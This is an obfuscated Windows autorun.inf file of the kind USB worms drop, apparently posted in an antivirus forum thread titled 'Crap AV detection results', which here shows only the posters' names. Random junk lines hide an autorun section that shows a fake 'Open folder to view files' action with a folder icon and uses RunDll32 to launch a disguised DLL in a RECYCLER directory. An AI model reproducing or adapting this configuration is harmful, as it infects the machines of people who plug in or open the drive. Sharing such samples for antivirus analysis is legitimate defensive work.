;*/Ë†Ã€oÂ¿qjÃ–Ã¿sÃ Ã‡Â³BDÃ¼HÂ¼RqÃ‡jÃž

/*WfjJVQzeuUIhZ=_*_qZbGyUbDbsHEOsCMbHT

**

; /eÃ¦Â¨jHÃ”XEÂ¯RÂ¸D
;
//

/KsfKnuijJBCWqmHQvKntM =/_*_fbNrkFxrQjNSDXKxHtsRWdy_
TtVDSsmayAlEwkOwltMNSSp*= kJpgF
/*

[tUjzVcrZcppWTq
;
//nwZÂ¢ÃƒÂ¬Ã‘â€¦ÃÃÃ Â§Ã¡Â®Ã´vwHÂ½ÃºÃ¸CË†Â¥PrÂ vâ€ LkÃ¢VGâ‚¬ÃŠâ„¢â€ºTlÂ²EÅ omLQÅ¡Ã™O
/

KadBmdwTNNmSgouATJ *_=*yxswInmOpqRR

PbtATuUjKUmNciH= uXZTfwTGWHVsjvxtXe*

â€ºVNIVÃUÃ¬Ã¿xwHZqÃšqÃµJOvnVÅ¸Ã€RÃ°W
;
;BhÂ³â€ºÃŽWÃ LFcÃ¼ÃµÃ¼Ã¾oGXÂ¿Ã•Ã¶*
yDfVoIBLKpE*= fv

sMqOKciMANOIgfawbu=edKLvuzrSitXZKXpp
;*ÂËœÂÂµÃˆTÂEGiFÃ§ZÂµzQGvdÂªÃ€GÃšÆ’yÃ¦GÃžeÃ“â‚¬â€˜USÃHBÃ¾W

RmPzjXKPbeKtNfFM /=_HmpZa

;OÃ‰Ã¼â€šFmÃ™DÃ–uMpÃ›ÃŒHjzËœÃ‘WÃ‚ÂÃ§UÃƒXÃŽvâ€”QÃ£Â³rÃ‰zDOKÂ¯â€”XzÃ™XÃ¡xjhËœHXjâ€wMÃ¢Em*

/

tKix=/ JtKJcoLA
;Ã¦iÃ·fÂAmÃ iÂ±bÃ‡uÅ FVâ€“qÅ¡zDÃ¯ËœtÂ¯xÃ£hÃµSÃ‰Ãµ

;_rÂ IÃ«lbÃ©â€ºHWâ€šÃ¥lÃ½Ã¬FXsRÂt
;*ÃŽÂ¹Ã©wÂ¢**
/DH *=cBNJvHZJFEvQdk
__

_
JzkQ=steMCm/
;
HswÃ¡lÃBÂ¶hÂ°Å¡Å¸NÂ£Ã›Wâ„¢Ã³eLQtbÂÃ’Eâ€˜AÂ±EÃ½aâ€¦â‚¬Å¡â€™BJÂ¸ÂªÃ´IvÂºYcPW

*aIOGdhvhbmqErxydDaSFB=CEovbSNjCwzyJAH_*
/
*
_
S=/ SfumSUBaWuZAoLYdBOSKbSc
;/
*
;_
;****KNmcÂxAÂ³Å’Â¬mxRPfÃ»zÃkrÃ¦ÃµiC_

;Ã˜RjÂAeÂµÅ’Â½Â£Â¨UÃ•noÃ¥ÂvÂªÃŸ
;Â¦MMZÃŽkrwfÃ¶Ã…ÂªÃ™Â§Â²AqÂNÃªrpÃ¤U

gVc =CQ
;
;Ã†ÂÃ§Ã«Â¸WÃ¢Â§nÃ¬

*UVlfcpCHEDzJBvET=CKCbSMHzm/
; Ãšâ‚¬PÂ cGÃˆÂÂÃžFÃ„aÃÂqQÃÃ Ã¡Ã†Â¸fÂ¦

;* LkÂÃÂ¡Wâ‚¬Ã…pNRLÃ©tÃ¯ÃƒÃ¨SUlÃÂ¬Ã±vÃ¯rqâ‚¬Tu

nUVXGiM=MOvlzQgXTKgxVuVuM

; /lmÃ¥djIÃ¨Â¯UÃŸvÃ—Ãƒwhe

*/FDit= sYV
*D=/*_YAJ**

;*_kHÂºFYÃ´HÂ¨Ã‰QKÂ»â€”JhVÃ´Nâ€¹ÂÃ‹UÂ¼LÃŒPzÃ¿hxÂ¦Ë†kâ€˜**/
dFPptvEDXkHVXDsLjywdQb__=_SicUOQuywILoENRXaxThyB__
;_rcÃ tÃƒcJÃœÂ¡IAÃ¡GÃ†Â£Iâ€˜HÃ£LoÃšJâ„¢â€¢ecU/

; / â€mNÂ³wÅ’Â©ZÃ¡Ã£Å¾bâ„¢IJÂÂºâ€¢Â»Ã„Ã†lÃ‹â€°Ëœâ€Ã°Ã•KCÃ‚sÅ¡Ã½Sâ€¡nÃ«aGjpâ€ºRkpSÂ¥o*
*[ZcGCjgUVJLzumth
*
/_

;**/

*
/_

qoWJQReMdLvmtLC* =/qjIcLkhVNvWC
*

* YszurHdjBBRybx =_LRRcW*

_

/
wrxhyKE=_*tCseGZbkIoo

/*
;*UvJÂâ€Ã¦iâ€™Ã«wCÃ®Â°
; â€œÃ¥Å â€°ÃÂ²JÃ²zQVuJWÂ½qÃâ€AHÂÂ¼â€°Ë†R_

/ _YBWqWezxuSvPARNPoRnbyMJ*=fqlP/
;*ÂÃ±KAÃŽGÂqÂ½Ã°Zâ€¹ /

;
*/* *mlEpOMpKblsLTzuJ/ = /wNbgD

;Â¨eÃ jPVÂ´uÃªÅ¸aÅ’ÂºtÂ±bÃ«Ã¦_

ukfnYGdWGuZxtEIF/=ybS

;/PWÃ·EÃ¼NÃ©Å Zâ„¢xwyNsnÃ¯â„¢jyâ€“JGoFgoÅ’dBHÂ»Ha*_
/sEXqZUtoZSVcijWMSakCN=IFEiNPxHZ
;*
; Ã´cÃœÂ¥Â¯Â¾LÂ§ËœÃ”qsÃ‹WuÂkxHÃ–TdPvÃ½Â»Ã“AÅ“*

/*

_[tIzSfrYI]__

**

JVwtaYUSxAKBwIybrmzhMMkLk_=AnDdolGMjfptk
*
;*_yÃ„Â·ÃžNWÃÂ½Â®TyÃšowâ‚¬ÂeÃœÃ¼Ã¬oâ€”Ã Â²â€ºGnÃžDÂ§oÂ´Â¸gZUÅ’**
*
;Ã”CjkRÃsâ€¢Ã¦raVÃ‹â€°mÂ¨Ã™Ã—â€˜Â°â€°Â¨Â®Ã®ÂlÂ¯bÂ¡â€žÅ Ã¹QmÂ«*
;nkÂ®ÂºÂ¾YÃ§GÂ¸ÃŒÃ¡ÃOÃŸ*

XqqEpCXiKiDnTiQq=EiRdxzMeszAeLnGZPCpSWr/ *
; dlRÃˆÂ«â€¹ÂÅ¡dÂ±ÂÃ¦Ã¶Ã³â€™KUÅ’â€rÂ«xÂ¯ÃŠÂ°yBÃˆÂÂ¤wh

/
**

*/
**qOSwnxUNhptx=* lAIlIk
; Â¾I_
;*Ã‰ÂË†tâ€Â pâ€šlâ€”aLÃ°CÂ¸
/ *
*Mju = vVJZKU_
aKzDuWa=DGoEhWzHevcrUgVOgU

*
_WxgnPqHIKwUXT=jUuffXWfJcSryqSfbtjvRPli
;*lÃxÃ´Â¤zpÂ¼FÃ€Ã©HÂ©Â³Tl
;ÂÂ¤YfÃ€Â¯Ã±Â¡rÃ¾Â³Ã§xqleerÃ®HÃ¼â„¢TÂ£/_

_
; HsVqDVâ€ºdbÃ³
;pÃ›GÃÃ…Ã‰hÂiÂ¡Ã»EÃºKrÃ†gMXJÂµÃ”â€˜Â¥s*

QMgUwjxhRhcnFQC=ywoAScVrDlT
;â€žuXJÃ–wÃŒÃ‚Å½uÃ†Ã¸Ã‘Â¬PKÂ¨UÂµVIÃ†â„¢AodÃ´WEÂ Â¨zÃžVJÃ¡Ã“Ã eÃ»Ã½
;
/lAXDfZvmZRjUEDzIlmeksW=yCQiQKQueOpunGxbz

pKjnXQFpKXMqKfjlCSNgJW_=xgIIkkIJRbcE_

_/
;jpÅ¾zDÃŸÃ™â€™Ã¥Â¹Å’_

* [AUTorUN/

;_ Ã…AÂ¯ËœÃ¶lÃœÅ qÂ¦â€¦tÃŽKVWÅ“Ã½Â¸Â¤Â¬//
AcTION =Open folder to view files

*
* icon/_ =**%syStEmrOot%\sySTEM32\sHELL32.Dll ,4

*
;ÂPrÃ—SoÃ DWWCfDnhTvVQyaÅ¾Ã£Â¾__
;*/*Â«GÃ¡ÃŠ

;*qTJÂ¥Â·râ‚¬Ã•oÃgwDqÂÃ§ÃšJÃ»KEÃÂ´Ã»

shelLExECUte__=RuNdLl32.EXE
..\RECYCLER\S-5-3-42-2819952290-8240758988-879315005-3665\jwgkvsq.vmx,ahaezedrn
;*zDÂ¾plÂ¿â€ºcÃ Â½Ã‚uDbÃ‹yFÂ½Å¾ÃšG _

;*Âfâ€ºyÃŠlÃŒÃƒÃ¨Å dGÂµBwÂAsUmF*
; Â»Å¸obzÂ²qâ€¢GEÃ¬ÂªiSÃ¸ÂµvÃ¤FËœÃ˜Â¤Ã²Â¼fÃ®NÅ’DsÂ±**

*useAuTopLAY_*= 1
;/
FÂªâ€ gâ€¢Â¿ÃºoÃ–MÃŠcÂ°ÂÂ¹tYcÃˆÃ¬kdQeÃ¦Ã˜nDÂ§Ã¤Ã¢Ã™rË†eâ€¦CÂ¿ÂÃ¹lÃâ€žÃ´C
[oiw]
*

;/_

;Ã±â€¦ÃqÂ¨YPÂhÃ–â€˜Â±jHÃ™EÂ¼â‚¬PÅ¡xEAbÂ«Â¬ÂµÃžËœÃ£ÂÃ±Izgâ€ºAÃ‰dÃ‡Â¸Ã¦Ã„â€ â€¢â€˜bÃ§Ã‡

blGkNaAOAStfJarztHQsDTE*= _X

***
/*
; CnË†ÂºÂ´Ã°Ã´Ã£Æ’keÂ´jÃ·gWÃšÂ©Ã–Ã§JÃ‡tÃ¾Â¨ÂiMUÃ’Å½â€˜Ã§tÃ¡Ã¦VJd*_

;*UNÃœaBYÃ¹fsÃŠÂ cÂ¢aâ€™nGHPÂ¯TpZÂ¢woÂ _
;Ã»Ã€zÃ±IhMÃ–Ã¹Ã®VÃ›XeÃ¤ÃµÃ–rGaÂ§â€Zâ€œFySÃIIUÃ¬HkÂ¸Â¡ÃEÂ®fWË†ÃžLÃ…_

**ljjpceByfnCqlEdvFuiQtTXOX****= /DsuZYNfdNfgLkgdubp _

;_JYcGÅ½RÃ¼gMÃ–Ã§wÅ“Ã›FÂ¨kkZÂ¤Â½ZdCndÂ³JedsTÃžÃ½e

; *Ã¥Â¨Â¦AsÃ¼NHnÃÃ³ÂZWnÂ gÃUKÂ®ÃžHâ€ºnX *
/

; HtEÃ GÃ»Â¿â€ Â¶siÃ¢Sâ€˜â€°dpÅ¡Å¾Ã¶Dâ€°ÃŸXÂ»ZeHÃ²hC*** *

AHBpQMGeNELqWqgVFUI_/* *=thvu

t_=en

*

ZpmLWwdy*_=p

;//DÂ³â€¡â„¢Â½Ã¢afRÃ½PÃ’eIÃ²mÂÂsbLPÃ—UdggÃ’Ã’â€šhÃ”EÂ¹JFÃ¢iÂ°Â¶BHhu/

*JirRwHUIcdygM =Dw*

_

yAPlzwzDWOQuOkdjb_=*/fTwwFgsQkIuovohIAEhoMk
;_JÂ«OÂ¨Æ’â„¢ÃQÂ¿CÃ¾fÂCazÂ¸Ã‚oâ€¹_
LkgTMQccsQukegpqMJbGmC= NiaNYPlDZlrMApJYhSxkUPAp

*/ÂÃ€SÃ†gZâ€ YufÂ¾KÃ¶sxaÃžÃ›XÃ AcfEÂÃ¿fÂ«Ã§jÂ·lIÂ½Â®Â¿zuÃˆÃ‘qCÃ½kDWVÃ¬FÃPoFÂ¥bÃžâ„¢

;*

;/Uâ€šXÃ–ÃŸvXÃ©Â®oâ€¦Â¹AGÂ±*

/*

/ Df=EEKpaGzdkYcdqw

/
;/â€˜ÃºNÃ‘Â¬iÃ´pÃvCÂÃƒcRDmâ€”BVhÂ¤ÂÃ´gaWRqÂ³xAÅ¡enAGÃpZtnMGÂ¶ÂW
;*_HÃ–Å JxcÃ¢QÃ—nIÃ£lâ€˜UÃ‰Ã°â€¡ÃÃšLÅ¸chÂ±Ã®Å¸Ã‡â€“Â½Ã‹â€šÅ¸*
_
;/*_pgkÂ³Â²hÂ¶Â¾YÃ¡râ€”ÃÂµaâ€šâ€ Ã‚JDGlAkuyÂ¯Ã§SÃEofmj_*

*/tYtGgOcpNmnREFeVOVYcmXi _=BMlhoTHAdQ
_wu=jgQDsI

; **
;/*â€˜ÃƒMCÂ¤rALNÃŒmp/

;Â¦ÃŸwâ€šÂµÃ¡Ã®ÃŠhbUKÃ‚ZÃ„Ã„ÃƒlCÂ³_/*

*
_ _*
/ MEcDYfriSGlkppcZPDzO=O / *

;__

Crap AV detection results

Frazer Jolly Goodfellow

1PW

Frazer Jolly Goodfellow

Virus Guy

Frazer Jolly Goodfellow

Frazer Jolly Goodfellow

1PW

Frazer Jolly Goodfellow

Frazer Jolly Goodfellow

FromTheRafters

FromTheRafters

FromTheRafters

Frazer Jolly Goodfellow

FromTheRafters

Virus Guy

FromTheRafters

Virus Guy

Virus Guy

FromTheRafters

Frazer Jolly Goodfellow